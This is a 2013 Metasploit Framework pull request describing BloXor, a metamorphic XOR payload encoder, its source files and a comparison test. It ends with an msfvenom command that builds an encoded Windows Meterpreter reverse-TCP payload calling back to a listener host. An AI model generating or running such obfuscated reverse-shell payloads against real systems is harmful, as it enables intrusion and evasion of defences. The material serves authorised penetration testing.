rapid7/metasploit-framework — pull request #1285 by stephenfewer (2013-01-10 17:58:44+00:00)
Title: BloXor Encoder

Hi, I'm opening up BloXor, a cross architecture (Although I've only implemented an x86 backend) metamorphic block based xor encoder/decoder, which I have found useful for getting around some awkward badchar situations. BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb) by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape.

Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the backend metamorphic stuff.

A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a metamorphic packer for PE executables and also uses METASM. I am unaware of any code having been publicly released for this, so am unable to compare implementations, although bloxor is not a packer but there must be some crossover. http://census-labs.com/media/packing-heat.pdf

I also added ./msf/test/tests/test_encoders.rb which I was using to do some comparison testing, you have to give it a few minutes to run as BloXor is slow by design, which is why I have left it with a ManualRanking.

You can also manually check the output with the following command:
ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 -